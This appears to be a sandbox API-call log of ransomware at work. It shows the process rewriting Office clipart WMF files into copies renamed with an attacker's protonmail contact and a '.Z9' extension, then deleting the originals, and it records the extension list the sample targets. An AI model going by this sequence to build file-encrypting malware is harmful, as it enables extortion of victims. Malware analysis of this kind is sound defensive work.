	[0191.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.570] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.571] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0191.773] GetLastError () returned 0x0
	[0191.773] ReadFile (in: hFile=0x344, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0xe392, lpOverlapped=0x0) returned 1
	[0191.775] WriteFile (in: hFile=0x388, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xe3a0, lpOverlapped=0x0) returned 1
	[0191.777] ReadFile (in: hFile=0x344, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.777] WriteFile (in: hFile=0x388, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.777] SetEndOfFile (hFile=0x388) returned 1
	[0191.778] CloseHandle (hObject=0x388) returned 1
	[0191.778] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.778] SetEndOfFile (hFile=0x344) returned 1
	[0191.779] CloseHandle (hObject=0x344) returned 1
	[0191.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 1
	[0192.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.152] lstrlenW (lpString=".doc") returned 4
	[0192.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.152] lstrlenW (lpString=".docx") returned 5
	[0192.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0192.152] lstrlenW (lpString=".pdf") returned 4
	[0192.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.152] lstrlenW (lpString=".xls") returned 4
	[0192.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.153] lstrlenW (lpString=".xlsx") returned 5
	[0192.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0192.153] lstrlenW (lpString=".ppt") returned 4
	[0192.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString=".zip") returned 4
	[0192.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.153] lstrlenW (lpString=".rar") returned 4
	[0192.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString=".bz2") returned 4
	[0192.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString=".7z") returned 3
	[0192.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString=".dbf") returned 4
	[0192.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString=".1cd") returned 4
	[0192.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString=".jpg") returned 4
	[0192.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.153] lstrlenW (lpString=".doc") returned 4
	[0192.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString=".docx") returned 5
	[0192.153] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0192.153] lstrlenW (lpString=".pdf") returned 4
	[0192.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.153] lstrlenW (lpString=".xls") returned 4
	[0192.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.153] lstrlenW (lpString=".xlsx") returned 5
	[0192.153] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0192.154] lstrlenW (lpString=".ppt") returned 4
	[0192.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.154] lstrlenW (lpString=".zip") returned 4
	[0192.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.154] lstrlenW (lpString=".rar") returned 4
	[0192.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.154] lstrlenW (lpString=".bz2") returned 4
	[0192.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.154] lstrlenW (lpString=".7z") returned 3
	[0192.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.154] lstrlenW (lpString=".dbf") returned 4
	[0192.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.154] lstrlenW (lpString=".1cd") returned 4
	[0192.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF") returned 68
	[0192.154] lstrlenW (lpString=".jpg") returned 4
	[0192.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.154] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0192.154] lstrlenW (lpString="J0099173.WMF") returned 12
	[0192.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.143] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=37140) returned 1
	[0193.144] CloseHandle (hObject=0x338) returned 1
	[0193.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 0x220
	[0193.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.145] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.145] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0193.146] GetLastError () returned 0x0
	[0193.146] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x9114, lpOverlapped=0x0) returned 1
	[0193.151] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x9120, lpOverlapped=0x0) returned 1
	[0193.153] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.153] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.153] SetEndOfFile (hFile=0x37c) returned 1
	[0193.153] CloseHandle (hObject=0x37c) returned 1
	[0193.153] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.153] SetEndOfFile (hFile=0x338) returned 1
	[0193.155] CloseHandle (hObject=0x338) returned 1
	[0193.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099173.wmf")) returned 1
	[0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.156] lstrlenW (lpString=".doc") returned 4
	[0193.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.156] lstrlenW (lpString=".docx") returned 5
	[0193.156] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0193.156] lstrlenW (lpString=".pdf") returned 4
	[0193.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.156] lstrlenW (lpString=".xls") returned 4
	[0193.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.156] lstrlenW (lpString=".xlsx") returned 5
	[0193.156] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0193.156] lstrlenW (lpString=".ppt") returned 4
	[0193.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.156] lstrlenW (lpString=".zip") returned 4
	[0193.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.156] lstrlenW (lpString=".rar") returned 4
	[0193.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.156] lstrlenW (lpString=".bz2") returned 4
	[0193.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.156] lstrlenW (lpString=".7z") returned 3
	[0193.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.156] lstrlenW (lpString=".dbf") returned 4
	[0193.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.157] lstrlenW (lpString=".1cd") returned 4
	[0193.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.157] lstrlenW (lpString=".jpg") returned 4
	[0193.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.157] lstrlenW (lpString=".doc") returned 4
	[0193.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString=".docx") returned 5
	[0193.157] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0193.157] lstrlenW (lpString=".pdf") returned 4
	[0193.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString=".xls") returned 4
	[0193.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.157] lstrlenW (lpString=".xlsx") returned 5
	[0193.157] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0193.157] lstrlenW (lpString=".ppt") returned 4
	[0193.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.157] lstrlenW (lpString=".zip") returned 4
	[0193.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.157] lstrlenW (lpString=".rar") returned 4
	[0193.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString=".bz2") returned 4
	[0193.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.157] lstrlenW (lpString=".7z") returned 3
	[0193.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.158] lstrlenW (lpString=".dbf") returned 4
	[0193.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.158] lstrlenW (lpString=".1cd") returned 4
	[0193.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0193.158] lstrlenW (lpString=".jpg") returned 4
	[0193.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.158] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.158] lstrlenW (lpString="J0099174.WMF") returned 12
	[0193.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.158] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=6214) returned 1
	[0193.158] CloseHandle (hObject=0x338) returned 1
	[0193.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 0x220
	[0193.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.159] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.159] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0193.160] GetLastError () returned 0x0
	[0193.160] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x1846, lpOverlapped=0x0) returned 1
	[0193.161] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x1850, lpOverlapped=0x0) returned 1
	[0193.163] ReadFile (in: hFile=0x338, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.163] WriteFile (in: hFile=0x37c, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.163] SetEndOfFile (hFile=0x37c) returned 1
	[0193.163] CloseHandle (hObject=0x37c) returned 1
	[0193.163] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.163] SetEndOfFile (hFile=0x338) returned 1
	[0193.164] CloseHandle (hObject=0x338) returned 1
	[0193.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0193.165] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099174.wmf")) returned 1
	[0193.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.165] lstrlenW (lpString=".doc") returned 4
	[0193.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.165] lstrlenW (lpString=".docx") returned 5
	[0193.165] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.165] lstrlenW (lpString=".pdf") returned 4
	[0193.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.165] lstrlenW (lpString=".xls") returned 4
	[0193.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.166] lstrlenW (lpString=".xlsx") returned 5
	[0193.166] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.166] lstrlenW (lpString=".ppt") returned 4
	[0193.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString=".zip") returned 4
	[0193.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.166] lstrlenW (lpString=".rar") returned 4
	[0193.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString=".bz2") returned 4
	[0193.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString=".7z") returned 3
	[0193.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString=".dbf") returned 4
	[0193.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString=".1cd") returned 4
	[0193.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString=".jpg") returned 4
	[0193.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.166] lstrlenW (lpString=".doc") returned 4
	[0193.166] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.166] lstrlenW (lpString=".docx") returned 5
	[0193.167] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0193.167] lstrlenW (lpString=".pdf") returned 4
	[0193.167] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString=".xls") returned 4
	[0193.167] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.167] lstrlenW (lpString=".xlsx") returned 5
	[0193.167] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0193.167] lstrlenW (lpString=".ppt") returned 4
	[0193.167] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.167] lstrlenW (lpString=".zip") returned 4
	[0193.167] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.167] lstrlenW (lpString=".rar") returned 4
	[0193.167] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString=".bz2") returned 4
	[0193.167] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString=".7z") returned 3
	[0193.167] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.167] lstrlenW (lpString=".dbf") returned 4
	[0193.167] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.167] lstrlenW (lpString=".1cd") returned 4
	[0193.167] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68
	[0193.167] lstrlenW (lpString=".jpg") returned 4
	[0193.167] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.168] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0193.168] lstrlenW (lpString="J0099175.WMF") returned 12
	[0193.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0193.168] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=9744) returned 1
	[0193.168] CloseHandle (hObject=0x338) returned 1
	[0193.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220
